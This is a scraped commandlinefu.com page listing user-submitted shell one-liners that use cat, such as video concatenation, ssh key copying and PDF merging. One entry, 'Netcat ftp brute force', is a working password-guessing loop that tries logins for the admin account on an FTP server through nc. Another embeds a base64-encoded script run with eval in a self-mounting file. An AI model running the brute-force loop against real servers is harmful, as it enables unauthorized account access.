Commands using cat sorted by votes

Commands using cat (514)

sorted by

concat multiple videos into one (and add an audio track)

This is an extract from a larger script which formats the video for DVD. The videos I use have no audio track so I need to add one. Tweak as you like...
This is sample output - yours may be different.
6

cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null

pamirian · 2009-08-04 06:31:50 5
Script executes itself on another host with one ssh command

Now put more interesting stuff on the script in replacement of hostname, even entire functions, etc, and stuff. hosta> cat myScript.sh #!/bin/sh [ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client hosta> myScript.sh hostb hostb hosta>
This is sample output - yours may be different.
6

[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client

a8ksh4 · 2009-11-25 22:24:31 5
Copy a file over SSH without SCP
This is sample output - yours may be different.
6

ssh HOST cat < LOCALFILE ">" REMOTEFILE

Mandark · 2009-12-22 16:35:34 7
Save xkcd to a pdf with captions

Saves to a PDF with title and alt text of comic. As asked for on http://bbs.archlinux.org/viewtopic.php?id=91100 Change xkcd.com to dynamic.xkcd.com/comics/random for a random comic.
This is sample output - yours may be different.
6

curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf

matthewbauer · 2010-03-03 03:41:31 14
Netcat ftp brute force
This is sample output - yours may be different.
6

cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done

FuRt3X · 2010-05-02 07:37:22 30

Merge tarballs

Requires the GNU tar ignore zeros option. http://www.gnu.org/software/tar/manual/html_section/Blocking.html Show Sample Output

cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz

hendry · 2010-05-05 14:27:47 107

Limit the transfer rate and size of data over a pipe

This example will close the pipe after transferring 100MB at a speed of 3MB per second.
This is sample output - yours may be different.
6

cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null

bugmenot · 2012-07-29 00:42:16 10
Create executable, automountable filesystem in a file, with password!

This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it. USAGE: SEE SAMPLE OUTPUT The file is composed of three parts: a) The legible script (about 242 bytes) b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242) c) The actual filesystem Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option. PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :) It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file. The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables. Show Sample Output
This is sample output - yours may be different.
```
Use at your own risk.

# dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');  echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm    T)>>F
10240+0 records in
10240+0 records out
10485760 bytes (10 MB) copied, 0.127043 s, 82.5 MB/s
T is not a block special device.
Proceed anyway? (y,n) y
1+0 records in
1+0 records out
9104 bytes (9.1 kB) copied, 0.000116352 s, 78.2 MB/s

(before executing next, make sure /mnt is empty and has nothing mounted, otherwise you can lose files)

# bash F
9191
(I entered 9191, is the password, can be modified in the script)

# l /mnt/
drwx------ 2 root root 12K Jan 31 02:33 lost+found/

# df -h
Filesystem        Size  Used Avail Use% Mounted on
...
/dev/loop0        9.7M  1.1M  8.1M  12% /mnt

# mount
...
/root/F on /mnt type ext3 (rw,relatime,data=ordered)

# umount /mnt 

# head -1 F
E=$(echo cmVhZCBPO21vdW50IC1vIGxvb3Asb2Zmc2V0PSRPIEYgL21udDsK|base64 -d);eval $E;exit;

# E=$(echo cmVhZCBPO21vdW50IC1vIGxvb3Asb2Zmc2V0PSRPIEYgL21udDsK|base64 -d);echo $E
(changed eval x echo)
read O;mount -o loop,offset=$O F /mnt;
```
6

dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F

rodolfoap · 2013-01-31 01:38:30 13
Encrypt and password-protect execution of any bash script, Version 2

(Please see sample output for usage) Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.: myscript --> myscript.crypt You can execute myscript.crypt only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner. Sorry for the chmod on parentheses, I dont like "-" at the end. Thanks flatcap for the subshell abbreviation to /dev/null Show Sample Output
This is sample output - yours may be different.
```
$ cat script.bash

#!/bin/bash
echo "hello, world"

$ read -p 'Script: ' S && C=$S.crypt H='eval "$(dd if=$0 bs=1 skip=// 2>/dev/null|gpg -d 2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)

Script: script.bash
Enter passphrase:
Repeat passphrase:

$ cat script.bash.crypt 

eval "$(dd if=$0 bs=1 skip=70 2>/dev/null|gpg -d 2>/dev/null)"; exit;
%3@5%7%f$2&s*ty7%8@j$j!8)(&@@@

$ ./script.bash.crypt 
Enter passphrase:

hello, world
```
6

read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)

rodolfoap · 2013-03-10 08:59:45 13
Compress blank lines
This is sample output - yours may be different.
6

cat -s

opexxx · 2013-03-18 14:15:48 11

Print ASCII Character Chart

Prints out an ascii chart using builtin bash! Then formats using cat -t and column. The best part is: echo -e "${p: -3} \\0$(( $i/64*100 + $i%64/8*10 + $i%8 ))"; From: http://www.askapache.com/linux/ascii-codes-and-reference.html Show Sample Output

for i in {1..256};do p=" $i";echo -e "${p: -3} \\0$(($i/64*100+$i%64/8*10+$i%8))";done|cat -t|column -c120

AskApache · 2014-04-04 16:54:53 29

Are there any words in the English language that use at least half of the alphabet without repeating any letters?

This is the most straightforward approach: first regexp limits dictionary file to words with thirteen or more characters, second regexp discards any words that have a letter repeated. (Bonus challenge: Try doing it in a single regexp!) Show Sample Output
This is sample output - yours may be different.
```
# You'll just have to try it to find out!
```
6

cat /usr/share/dict/words | egrep '^\w{13,}$' | egrep -iv '(\w).*\1'

hackerb9 · 2014-09-29 12:52:09 16
Copy your SSH public key on a remote machine for passwordless login.

Should run on any system with ssh installed.
This is sample output - yours may be different.
5

cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'

DASKAjA · 2009-02-16 11:29:12 99
Enter your ssh password one last time

Enter your ssh public key in the remote end for future key-based authentication. Just type your password one last time. The next time you should be able to login with the public key. If you don't have a key, generate one with ssh-keygen. Requires Bourne-compatible shell in the remote end.
This is sample output - yours may be different.
5

cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"

jsiren · 2009-02-18 22:13:04 7
restore the contents of a deleted file for which a descriptor is still available

Note that the file at the given path will have the contents of the (still) deleted file, but it is a new file with a new node number; in other words, this restores the data, but it does not actually "undelete" the old file. I posted a function declaration encapsulating this functionality to http://www.reddit.com/r/programming/comments/7yx6f/how_to_undelete_any_open_deleted_file_in_linux/c07sqwe (please excuse the crap formatting).
This is sample output - yours may be different.
5

N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"

laburu · 2009-02-21 02:31:24 28

Plot frequency distribution of words from files on a terminal.

Uses the dumb terminal option in gnuplot to plot a graph of frequencies. In this case, we are looking at a frequency analysis of words in all of the .c files. Show Sample Output

This is sample output - yours may be different.

$ cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot

  60 .+-----+------+------+------+-------+------+------+------+------+-----++
     +      +      +      +      +       +      +      +      +      +      +
     |                                                                      |
  50 ++                                                                    ++
     |                                                                      |
     |.                                                                     |
     |.                                                                     |
  40 ++                                                                    ++
     |                                                                      |
     | ..                                                                   |
  30 ++                                                                    ++
     |   .                                                                  |
     |                                                                      |
  20 ++  ..                                                                ++
     |     ..                                                               |
     |       ..                                                             |
     |         ...                                                          |
  10 ++           ....                                                     ++
     |                ...............                                       |
     +      +      +      +      +   .......................................+
   0 ++-----+------+------+------+-------+------+------+------+------+-----++
     0      10     20     30     40      50     60     70     80     90    100

cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot

taliver · 2009-11-20 14:53:26 7

prints line numbers
This is sample output - yours may be different.
5

cat -n

putnamhill · 2009-12-08 16:35:55 16
tee to a file descriptor

the tee command does fine with file names, but not so much with file descriptors, such as &2 (stderr). This uses process redirection to tee to the specified descriptor. In the sample output, it's being used to tee to stderr, which is connected with the terminal, and to wc -l, which is also outputting to the terminal. The result is the output of bash --version followed by the linecount Show Sample Output
This is sample output - yours may be different.
```
$ bash --version |tee  >(cat - >&2) | wc -l
GNU bash, version 3.2.49(1)-release (i586-suse-linux-gnu)
Copyright (C) 2007 Free Software Foundation, Inc.
2
```
5

tee >(cat - >&2)

camocrazed · 2010-07-20 17:22:31 6
DVD ripping with ffmpeg

To rip DVD movie to ogg format using ffmpeg, follow these steps. 1) find the vob files on the mounted video DVD in VIDEO_TS that stores the movie itself. There would be a few other VOB files that stores splash screen or special features, the vob files for the movie itself can be identified by its superior size. You can verify these vob files by playing them directly with a player (e.g. mplayer) 2) concatenate all such vob files, pipe to ffmpeg 3) calculate the video size and crop size. The ogg video size must be multiple of 16 on both width and height, this is inherit limitation of theora codec. In my case I took 512x384. The -vcodec parameter is necessary because ffmpeg doesn't support theora by itself. -acodec is necessary otherwise ffmpeg uses flac by default.
This is sample output - yours may be different.
5

cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg

zhangweiwu · 2010-09-14 14:45:27 24
pretend to be busy in office to enjoy a cup of coffee
This is sample output - yours may be different.
5

export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"

zzambia · 2010-10-04 18:08:11 4
Rotate a single page PDF by 180 degrees

More pdftk examples: http://www.pdflabs.com/docs/pdftk-cli-examples/
This is sample output - yours may be different.
5

pdftk in.pdf cat 1S output out.pdf

oldo · 2011-02-25 00:51:50 3
Checks throughput between two nodes

This will show the throughput between two nodes. Thanks to szboardstretcher, who posted it here: http://www.linuxquestions.org/questions/linux-networking-3/quick-and-easy-way-to-measure-throughput-between-two-nodes-868998/
This is sample output - yours may be different.
5

cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"

shanx · 2011-03-20 09:31:52 3
Report all quota usage

Check disk quota for all user Show Sample Output
This is sample output - yours may be different.
```
Disk quotas for user ****** (uid 1021): 
        Block limit reached on /dev/md/2
Disk quotas for user ****** (uid 1037): 
        Block limit reached on /dev/md/2
```
5

quota -q $(cat /etc/passwd|cut -d ':' -f 1)

Juluan · 2011-03-20 15:35:42 7
Concating pdf files
This is sample output - yours may be different.
5

pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf

linuts · 2011-04-17 20:03:27 5
Show line numbers in a text file
This is sample output - yours may be different.
5

cat -n file.txt

ztank1013 · 2011-09-14 20:38:41 3
< 1 2 3 4 5 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Advanced python tracing

Trace python statement execution and syscalls invoked during that simultaneously

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

check open ports without netstat or lsof

OpenDns IP update via curl

Your IP is resolved by OpenDns Server (like a caller ID telephone, every server knows who is calling ;-) Change user:password by yours Be Happy

find .txt files inside a directory and replace every occurrance of a word inside them via sed

How to stop MAC Address via IPTables

edit the /etc/sysconfig/iptables file and try to work whit this: -A INPUT -i (interface) -m mac (mac address) -j ACCEPT/DROP

Write comments to your history.

A null operation with the name 'comment', allowing comments to be written to HISTFILE. Prepending '#' to a command will *not* write the command to the history file, although it will be available for the current session, thus '#' is not useful for keeping track of comments past the current session.

Convert CSV to JSON

Replace 'csv_file.csv' with your filename.

Determine if photos have been rotated to portrait orientation instead of normal landscape orientation

Most people take photos in landscape orientation (wider than it is tall). Sometimes though you turn the camera sideways to capture a narrow/tall subject. Assuming you then manually rotate those picture files 90 degrees for proper viewing on screen or photo frame, you now have a mix of orientations in your photos directory. This command will print out the names of all the photos in the current directory whose vertical resolution is larger than its horizontal resolution (i.e. portrait orientation). You can then take that list of files and deal with them however you need to, like re-rotating back to landscape for consistent printing with all the others. This command requires the "identify" command from the ImageMagick command-line image manipulation suite. Sample output from identify: $ identify PICT2821.JPG PICT2821.JPG JPEG 1536x2048 1536x2048+0+0 8-bit DirectClass 688KB 0.016u 0:00.006

clear the X clipboard

Clears your clipboard if xsel is installed on your machine. If your xsel is dumb, you can also use $xsel --clear --clipboard

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)
» commands using cat

Commands using cat (514) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

Commands using cat (514)

sorted by